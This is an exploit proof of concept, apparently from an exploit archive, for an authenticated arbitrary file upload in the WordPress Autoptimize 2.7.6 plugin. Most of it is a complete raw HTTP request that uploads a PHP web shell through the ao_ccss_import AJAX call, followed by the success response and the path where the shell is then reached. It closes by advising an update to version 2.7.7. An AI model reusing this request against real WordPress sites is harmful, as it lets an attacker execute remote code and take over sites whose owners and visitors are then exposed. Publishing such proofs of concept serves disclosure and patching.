WordPress Autoptimize 2.7.6 Shell Upload

`# Exploit Title: Wordpress Plugin Autoptimize 2.7.6 - Arbitrary File Upload (Authenticated)  
# Date: 2020-08-24  
# Software Link: https://wordpress.org/plugins/autoptimize/  
# Author : SunCSR Team  
# Version: v2.7.6  
# Tested on Ubuntu 18.04 / Kali Linux  
# Reference: https://wpvulndb.com/vulnerabilities/10372  
  
Description :  
-------------------------------------------------------------------  
  
The ao_ccss_import AJAX call does not ensure that the file provided is a  
legitimate Zip file, allowing high privilege users to upload arbitrary  
files, such as PHP, leading to RCE.  
  
[POC]  
  
Step 1 :  
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1  
Host: pwnme  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101  
Firefox/80.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer:  
http://pwnme.me/wordpress/wp-admin/options-general.php?page=ao_critcss  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data;  
boundary=---------------------------26086940735210916964189813544  
Content-Length: 685  
Origin: http://pwnme  
Connection: close  
Cookie: autoptimize_feed=1;  
wordpress_01c9c451f599e513a69d1e6bb6f8e273=admin%7C1598689405%7CiAGVovdBGV28Gk5pKstmbpGqYZA7Zbxq7lUoUBL0y6B%7Cc2f54fb4e357d2c591b7e5f53e6adb9531b0de5cc5fbc3cab3185f63917307cd;  
wordpress_test_cookie=WP+Cookie+check;  
wordpress_logged_in_01c9c451f599e513a69d1e6bb6f8e273=admin%7C1598689405%7CiAGVovdBGV28Gk5pKstmbpGqYZA7Zbxq7lUoUBL0y6B%7C409cbfa6f750ff5902273e879e79d9f746c038c35228c978ea9cc3525eb12602;  
wp-settings-time-1=1598516614  
  
  
-----------------------------404272946439029073744006559647  
Content-Disposition: form-data; name="file"; filename="shell.php"  
Content-Type: application/zip  
  
<?php Shell Content Here ! ?>  
-----------------------------404272946439029073744006559647  
Content-Disposition: form-data; name="action"  
  
ao_ccss_import  
-----------------------------404272946439029073744006559647  
Content-Disposition: form-data; name="ao_ccss_import_nonce"  
  
f25ca64f22  
-----------------------------404272946439029073744006559647--  
  
  
[Response]  
  
HTTP/1.1 200 OK  
Server: nginx/1.14.0 (Ubuntu)  
Date: Thu, 27 Aug 2020 08:21:08 GMT  
Content-Type: text/html; charset=UTF-8  
Connection: close  
Access-Control-Allow-Origin: http://pwnme.me  
Access-Control-Allow-Credentials: true  
X-Robots-Tag: noindex  
X-Content-Type-Options: nosniff  
Expires: Wed, 11 Jan 1984 05:00:00 GMT  
Cache-Control: no-cache, must-revalidate, max-age=0  
X-Frame-Options: SAMEORIGIN  
Referrer-Policy: strict-origin-when-cross-origin  
Content-Length: 53  
  
{"code":"200","msg":"Settings imported successfully"}  
  
  
Step 2: Access to  
http://victim//wordpress/wp-content/uploads/ao_ccss/shell.php  
  
  
Recommendations: Update to version 2.7.7  
  
  
Thank you very much!  
`